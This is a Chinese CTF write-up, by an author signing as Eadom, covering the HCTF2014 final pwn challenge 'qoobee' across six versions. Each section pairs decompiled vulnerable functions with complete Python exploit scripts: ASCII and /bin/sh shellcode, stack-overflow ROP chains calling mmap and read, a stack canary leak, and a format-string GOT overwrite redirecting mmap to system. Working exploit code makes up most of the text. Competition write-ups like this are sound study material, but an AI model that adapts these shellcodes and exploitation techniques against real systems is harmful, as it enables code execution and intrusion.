整理题目的时候把HCTF2014 FINAL的qoobee全部做了一遍。 做的时候没有顺序,利用代码也没好好写。。。超级乱。。。看者见谅。。。

Qoobee

利用分析

其实程序还隐藏了一个-214号功能

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int \_\_cdecl fun214\_sub_80495A9()
{
FILE *v0; // ST34_4@7
int result; // eax@8
char v2; // \[sp+Bh\] \[bp-1Dh\]@3
signed int v3; // \[sp+Ch\] \[bp-1Ch\]@1
void *haystack; // \[sp+18h\] \[bp-10h\]@1
v3 = 0;
haystack = mmap((void *)0x80000000, 0x1000u, 7, 50, -1, 0);
printf("Oh! You can leave a message for author(the real QooBee) here: ");
do
{
if ( v3 > 150 )
break;
v2 = getchar();
if ( (\*\_\_ctype\_b\_loc())\[v2\] & 0x400 || (\*\_\_ctype\_b\_loc())\[v2\] & 0x800 )
*((_BYTE *)haystack + v3++) = v2;
}
while ( sub_8048CD0(v2) );
v0 = fopen("/tmp/qoobee/message_log", "a+");
fprintf(v0, "%sn", haystack);
fclose(v0);
if ( strstr((const char *)haystack, "ymkelwin") )
{
result = ((int (*)(void))haystack)();
}
else
{
printf("Received: %sn", haystack);
result = puts("Thank you!");
}
return result;
}

可以执行代码,需要构造全ascii的shellcode,字符串里要含有ymkelwin(yinmo kelwin?LEOC和kelwin不能说的秘密?)

利用代码

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'''
function -214
patched in qoobee2
'''
from zio import *
target = './qoobee'
io = zio(target)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
\# gen by alpha2 baseaddr is eax
shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIFQo9kGyqNP4KrqPhDoToD3sXaxtoSRbIPnK9yszmK0wzA"
\# shellcode2 tiny sh without x0b
shellcode2 = "x31xc9xf7xe1xb0xf4xf6xd0x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
payload =''
\# mmap
payload += '-214n'
\# read shellcode to exec
payload += shellcode+'ymkelwinn'
\# print payload
io.write(payload)
io.interact()

Qoobee2

补上了上一个漏洞,去掉了执行代码,但是还是mmap了可执行的内存

利用分析

功能1中输入name存在溢出。

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int \_\_cdecl sub\_804970E(int a1)
{
int result; // eax@4
char v2\[12\]; // \[sp+1Ch\] \[bp-3Ch\]@1
int v3; // \[sp+28h\] \[bp-30h\]@1
int i; // \[sp+4Ch\] \[bp-Ch\]@1
puts("Now input the information for your QooBee Dragon:");
printf("QooBee Name: ");
\_\_isoc99\_scanf("%s", v2); // stack overflow
printf("QooBee Age: ");
\_\_isoc99\_scanf("%d", &v3);
for ( i = 0; v2\[i\]; ++i )
*(_BYTE *)(a1 + i + 20) = v2\[i\];
result = a1;
*(_DWORD *)(a1 + 32) = v3;
return result;
}

利用-214功能中的mmap开辟的可执行缓冲区执行shellcode。 写exp的时候用了ret2libc的方法,没有直接用上一种方法的shellcode

利用代码

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'''
name stack overflow
patched in qoobee3
'''
from zio import *
target = './qoobee'
io = zio(target)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
\# shellcode tiny sh
shellcode = "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
payload =''
\# function -214 mmap
payload += '-214n'
payload += '9999999n'
\# function 1
payload += '1n'
\# junk
payload += 'x00' + 'x90'*59 #2222
\# ebp
payload += l32(0x804b7e0)
\# eip read
payload += read_got
\# read ret to 0x80000004
payload += l32(0x80000004)
\# read args
payload += l32(0x0)
payload += l32(0x80000000)
payload += l32(0x80)
payload += 'n'
\# input age
payload += 'aaaan'
\# read shellcode to exec
payload += shellcode
io.write(payload)
io.interact()

Qoobee3

修补了上个漏洞

利用分析

打工输入指令过滤存在问题,可以写栈内存

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int \_\_cdecl fun5\_sub_8048F93(int a1)
{
int result; // eax@14
signed int i; // \[sp+0h\] \[bp-58h\]@2
signed int j; // \[sp+0h\] \[bp-58h\]@5
signed int k; // \[sp+0h\] \[bp-58h\]@9
int v5; // \[sp+4h\] \[bp-54h\]@1
unsigned int v6; // \[sp+8h\] \[bp-50h\]@1
int op; // \[sp+Ch\] \[bp-4Ch\]@8
int v8; // \[sp+10h\] \[bp-48h\]@1
int v9; // \[sp+14h\] \[bp-44h\]@1
int v10; // \[sp+18h\] \[bp-40h\]@1
int v11; // \[sp+1Ch\] \[bp-3Ch\]@1
int v12\[4\]; // \[sp+20h\] \[bp-38h\]@3
int v13\[4\]; // \[sp+30h\] \[bp-28h\]@3
char *format; // \[sp+40h\] \[bp-18h\]@1
int v15; // \[sp+44h\] \[bp-14h\]@1
int v16; // \[sp+48h\] \[bp-10h\]@1
int v17; // \[sp+4Ch\] \[bp-Ch\]@1
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
v5 = 0;
v6 = 0;
format = "0. Moving bricks: $%d/1h (spend %d Vit)n";
v15 = (int)"1. Sell Meng: $%d/1h (spend %d Vit)n";
v16 = (int)"2. Capture the Flag: $%d/1h (spend %d Vit)n";
v17 = (int)"3. Pwnning: $%d/1h (spend %d Vit)n";
if ( a1 )
{
for ( i = 0; i <= 3; ++i )
{
v12\[i\] = get_randnum(75, 150);
v13\[i\] = get_randnum(50, 150);
}
for ( j = 0; j <= 3; ++j )
printf((&format)\[4 * j\], v12\[j\], v13\[j\]);
while ( 1 )
{
printf("Which one you want QooBee to work(99 to leave)? ");
op = safe_readint();
if ( op == 99 )
break;
printf("How long for this one? ");
*(&v8 + op) = safe_readint(); // write dowrod in stack
// patched in qoobee4
}
for ( k = 0; k <= 3; ++k )
{
v6 += v13\[k\] * *(&v8 + k);
v5 += v12\[k\] * *(&v8 + k);
}
if ( *(_DWORD *)(a1 + 16) < v6 )
{
result = puts("5555...Your QooBee's vit is too low..He need have a rest!");
}
else
{
*(_DWORD *)(a1 + 16) -= v6;
*(_DWORD *)a1 += v5;
printf("Your baby earned $%d..n", v5);
result = printf("Total Money: $%d !n", *(_DWORD *)a1);
}
}
else
{
result = puts("You need adopt a QooBee Dragon first!");
}
return result;
}

写入ROP链 ROP调用mmap read之后执行shellcode

利用代码

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'''
function 5 work
patched in qoobee4
'''
from zio import *
import struct
target = './qoobee'
io = zio(target, timeout=800000)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
pr = l32(0x08048bc6)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
p7r = l32(0x08049925)
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
\# -214 mmap 0x80000000
io.writeline('-214')
io.writeline('hello')
\# adopt qoobee
io.writeline('1')
io.writeline('1')
io.writeline('1')
io.writeline('1')
io.read_until('Your Choice:')
\# work
io.writeline('5')
payload = \[
\# ebp
l32(0x21000000),
\# eip jmp pr
pr,
\# a1
l32(0x80000000),
\# mmap
mmap_got,
\# p7r
p7r,
\# mmap args
l32(0x21000000), l32(0x100), l32(7), l32(50), l32(-1), l32(0),
l32(0), #padding
\# read
read_got,
\# jmp shellcode
l32(0x21000000),
\# read args
l32(0), l32(0x21000000), l32(0x100),
\]
print payload
i = 0
\# io.gdb_hint()
for dword in payload:
io.read_until('Which one you want QooBee to work(99 to leave)?')
io.writeline("%d" % (18+i))
io.read_until('How long for this one?')
io.writeline("%u" % struct.unpack('<i', dword))
i += 1
io.writeline('99')
io.writeline(shellcode2)
io.interact()

Qoobee4

利用分析

fun1的输入description栈溢出

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int \_\_cdecl sub\_8048BC8(int a1)
{
int v1; // ST28_4@1
int v2; // ecx@1
int result; // eax@1
char src; // \[sp+1Eh\] \[bp-2Ah\]@1
int v5; // \[sp+3Ch\] \[bp-Ch\]@1
v5 = *MK\_FP(\_\_GS__, 20);
printf("Description(%d bytes): ", 30); // stack overflow
v1 = safe_read(&src, 100);
memcpy((void *)(a1 + 36), &src, v1);
*(_BYTE *)(a1 + v1 + 36) = 10;
*(_BYTE *)(a1 + v1 + 1 + 36) = 0;
result = *MK\_FP(\_\_GS__, 20) ^ v5;
if ( *MK\_FP(\_\_GS__, 20) != v5 )
\_\_stack\_chk_fail(v2);
return result;
}

先利用fun2的printf漏洞(见Qoobee6)读取canary 注意一次只读100 bytes,分两次执行

利用代码

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'''
description stack overflow
patched in qoobee4
'''
from zio import *
import struct
target = './qoobee'
io = zio(target, timeout=800000)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
pr = l32(0x08048bc6)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
p7r = l32(0x08049925)
\# gen by alpha2 baseaddr is eax
shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIFQo9kGyqNP4KrqPhDoToD3sXaxtoSRbIPnK9yszmK0wzA"
\# shellcode2 tiny sh without x0b
shellcode2 = "x31xc9xf7xe1xb0xf4xf6xd0x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
fun1 = l32(0x08048D08)
\# -214 mmap 0x80000000
io.writeline('-214')
io.writeline('hello')
\# adopt qoobee
io.writeline('1')
io.writeline('1')
io.writeline('1')
io.writeline('%11$08x')
\# show info
io.writeline('2')
io.read_until('Description: ')
canary = io.readline().strip()
print 'canary:',canary
canary = int(canary,16)
canary = l32(canary)
print 'canary:',canary
\# io.gdb_hint()
\# p1
io.writeline('1')
io.writeline('1')
io.writeline('1')
payload = \[
# ebp
l32(0x21000000),
# eip jmp pr
pr,
# a1
l32(0x80000000),
# mmap
mmap_got,
# p7r
p7r,
# mmap args
l32(0x21000000), l32(0x100), l32(7), l32(50), l32(-1), l32(0),
l32(0), #padding
# ret to fun1 again
fun1,
\]
p = 'a' * 30 + canary + l32(0) + l32(0)
for dword in payload:
p += dword
print 'payload1:', len(p)
io.writeline(p)
\# p2
io.writeline('1')
io.writeline('1')
payload2 = \[
# ebp
l32(0x21000000),
# eip jmp pr
pr,
# a1
l32(0x80000000),
# read
read_got,
# jmp shellcode
l32(0x21000000),
# read args
l32(0), l32(0x21000000), l32(0x100),
\]
p = 'a' * 30 + canary + l32(0) + l32(0)
for dword in payload2:
p += dword
print 'payload2:', len(p)
io.writeline(p)
io.writeline(shellcode2)
io.interact()

Qoobee5

利用分析

比赛时候做的。。。和队友组合的代码,很乱很乱请见谅。。。 打游戏的方法。。利用printf漏洞刷钱。之后先升级,再通过石头剪刀布游戏的逻辑跑出flag…全部跑完要5分钟…… 比赛后面发现printf可以对age指定的任意内存写入……想想可以直接改等级然后打游戏会更快点……

利用代码

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#!/usr/bin/python2.7
\# -*- coding: utf-8 -*-
'''
Created on 2014年11月29日
@author: yf
'''
from zio import *
import re
import time
io = zio('./qoobee4')#, print\_write=False, print\_read=False)
\# io = zio(('10.11.12.13',1415), print\_write=False, print\_read=False)
lose_dic = \['scissor','rock','paper'\]
right_dic = \['paper', 'scissor','rock'\]
divset = \[17, 16, 18, 19, 21, 22,23,24,25,26,27,28,29,30, 32 , 33 , 34 , 35 , 35 , 36 , 37 , 38 , 39 , 40\]
rightset = \[\]
flag = ''
def losenum(modnum):
return (modnum-1+3)%3
\# def testdiv(modnum):
\# # while True:
\# io.read_until('Your Choice: ')
\# io.writeline('7')
\# io.read_until('Select one:')
\# io.writeline('%d' % losenum(modnum))
\# io.read_until('number(0-100)? ')
\# for i in divset:
\# io.writeline('%d' % i)
\# buf = io.read_until('n')
\# if 'lose' in buf:
\# io.writeline('7')
\# io.read_until('Select one:')
\# io.writeline('%d' % losenum(modnum))
\# io.read_until('number(0-100)? ')
\# else:
\# print i
\# pass
pattern = re.compile(r'(d+)!',re.M)
def checkround2():
log('enter checkround')
rst = {}
io.read_until('Select one:')
io.writeline('paper')
buf = io.read_until('n')
if 'lose' in buf:
log('lose')
modnum = 2
io.writeline('0')
buf = io.read_until('Bye!')
log(buf)
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'paper' in buf:
log('tie')
return '$'
modnum = 1
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('scissor')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'rock' in buf:
log('win')
return '$'
modnum = 0
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('paper')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
r = divnum*3 + modnum
log ("char is %d,'%c'" % (r,chr(r)))
rightset.append(modnum)
log('out checkround')
return chr(r)
def checkround3():
log('enter checkround')
rst = {}
io.read_until('Select one:')
io.writeline('scissor')
buf = io.read_until('n')
if 'lose' in buf:
log('lose')
modnum = 0
io.writeline('0')
buf = io.read_until('Bye!')
log(buf)
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'scissor' in buf:
log('tie')
return '$'
modnum = 2
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('scissor')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'paper' in buf:
log('win')
return '$'
modnum = 1
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('paper')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
r = divnum*3 + modnum
log ("char is %d,'%c'" % (r,chr(r)))
rightset.append(modnum)
log('out checkround')
return chr(r)
def forlast2():
global flag
log('last round')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
c = checkround3()
if c:
flag += c
log('flag:%s' % flag)
def forlast():
global flag
log('last round')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
c = checkround2()
if c=='$':
forlast2()
elif c:
flag += c
log('flag:%s' % flag)
def round():
global flag
for j in range(32):
log('new round')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
c = checkround()
if c=='$':
forlast()
elif c:
flag += c
log('flag:%s' % flag)
def checkround():
log('enter checkround')
rst = {}
io.read_until('Select one:')
io.writeline('rock')
buf = io.read_until('n')
if 'lose' in buf:
log('lose')
modnum = 1
io.writeline('0')
buf = io.read_until('Bye!')
log(buf)
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'rock' in buf:
log('tie')
modnum = 0
if len(rightset)==31:
return '$'
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('scissor')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'scissor' in buf:
log('win')
modnum = 2
if len(rightset)==31:
return '$'
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('paper')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
r = divnum*3 + modnum
log ("char is %d,'%c'" % (r,chr(r)))
rightset.append(modnum)
log('out checkround')
return chr(r)
\# testdiv(modnum)
def p7():
\# io.read_until('Your Choice: ')
\# io.writeline('1')
\# io.read_until('QooBee Name: ')
\# io.writeline('1')
\# io.read_until('QooBee Age: ')
\# io.writeline('1')
\# io.read_until('Description(30 bytes): ')
\# io.writeline('1')
try:
round()
except TIMEOUT:
print flag
\# print 'end'
def main():
reg=re.compile(r'have (d+) donuts')
reg_level=re.compile(r'Exp: d+/(d+)')
time1 = time.time()
\# io = zio('./qoobee4')
io.read_until('Choice:')
io.writeline('1')
io.read_until('Name:')
io.writeline('1')
io.read_until('Age:')
io.writeline('1')
io.read_until('(30 bytes):')
io.writeline('%8888u%8888u%4u%4u%4u%4u%n')
total=0
Level=0
io.read_until('Choice:')
while Level<49:
while total<1000:
io.writeline('3')
r = io.read_until('?')
ind = r.index('Amount')
Amount = int(r\[ind+6:ind+8\])
io.writeline(str(Amount))
total+=Amount
r = io.read_until('Choice:')
if 'Sorry' in r:
total-=Amount
io.writeline('2')
io.read_until('Choice:')
while total>0:
if len(reg\_level.findall(r))>0 and 500 == int(reg\_level.findall(r)\[0\]):
print reg_level.findall(r)
Level=49
break
io.writeline('4')
r = io.read_until('?')
have=int(reg.findall(r)\[0\])
if have>=9:
have = 9
total-=have
io.writeline(str(have))
time2=time.time()
print time2-time1
p7()
f = open('flagset','a')
f.write(flag+' '+time.strftime('%H:%M:%S',time.localtime(time.time()))+'n')
f.close()
print 'thread over with flag:%s' % flag
if \_\_name\_\_ == '\_\_main\_\_':
main()

Qoobee6

利用分析

printf可以对age指定的任意地址写入

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int \_\_cdecl fun2\_sub_80497A8(int a1, int a2)
{
int v2; // ecx@2
int result; // eax@4
int v4; // \[sp+1Ch\] \[bp-Ch\]@1
v4 = *MK\_FP(\_\_GS__, 20);
if ( a1 )
{
puts("nYour QooBee Dragon Info:");
printf("Name: %sn", a1 + 20);
printf("Age: %dn", *(_DWORD *)(a1 + 32));
printf("Description: ");
printf((const char *)(a1 + 36)); // format string, write \[age dword\]
// nerver patched
printf("Level: %dnMoney: $%dn", *(\_BYTE *)(a1 + 8), *(\_DWORD *)a1);
printf("Donuts: %dn", *(_DWORD *)(a1 + 4));
printf("Exp: %d/%dn", *(_DWORD *)(a1 + 12), a2);
printf("Vit: %d/%dn", *(_DWORD *)(a1 + 16), 0x1F4u);
}
else
{
puts("You need adopt a QooBee Dragon first!");
}
result = *MK\_FP(\_\_GS__, 20) ^ v4;
if ( *MK\_FP(\_\_GS__, 20) != v4 )
\_\_stack\_chk_fail(v2);
return result;
}

读plt获得printf函数的地址 通过给定libc.so偏移获取system地址 将system替换plt的mmap函数

利用代码

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'''
printf format string attack
not patched
'''
from libformatstr import *
from zio import *
import struct
io = zio('./qoobee',timeout=8000000,print_write=COLORED(REPR))
\# replaced function
printf\_got\_plt = 0x0804B74C
mmap\_got\_plt = 0x0804B77C
\# in my system
\# printf 0x0004d1f0
\# system 0x00040100
offset\_printf\_system = -0xd0f0
def leak_dword(addr):
io.writeline('1')
io.writeline('1')
io.writeline(str(addr))
io.writeline('%.4s')
io.writeline('2')
io.read_until('Description: ')
plt = io.read(4)
log('addr %08x:%s' % (addr,hex(struct.unpack('<I', plt)\[0\])), color='red')
return plt
def get\_printf\_addr():
rst = struct.unpack('<I',leak\_dword(printf\_got_plt))\[0\]
log('printf_plt:%s' % hex(rst), color='red')
return rst
def set_dword(addr, dword):
if dword == 0:
payload = '%n'
else:
payload = '%0'+str(dword)+'x'+'%1$n'
io.writeline('1')
io.writeline('1')
io.writeline(str(addr))
io.writeline(payload)
io.writeline('2')
if \_\_name\_\_ == '\_\_main\_\_':
io.writeline('-214')
io.writeline('sh')
got_plt = ""
printf\_plt = get\_printf_addr()
system\_addr = printf\_plt + offset\_printf\_system
got\_plt += l32(system\_addr)
log('system\_addr:%s' % hex(system\_addr), color='red')
io.gdb_hint()
i = 0
for c in got_plt:
log('set %02x:%u' % (ord(c),struct.unpack('<B', c)\[0\]), color='red')
set\_dword(mmap\_got_plt+i, struct.unpack('<B', c)\[0\])
i += 1
io.writeline('-214')
io.interact()

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Eadom

NO PWN NO FUN


@Alibaba


Hangzhou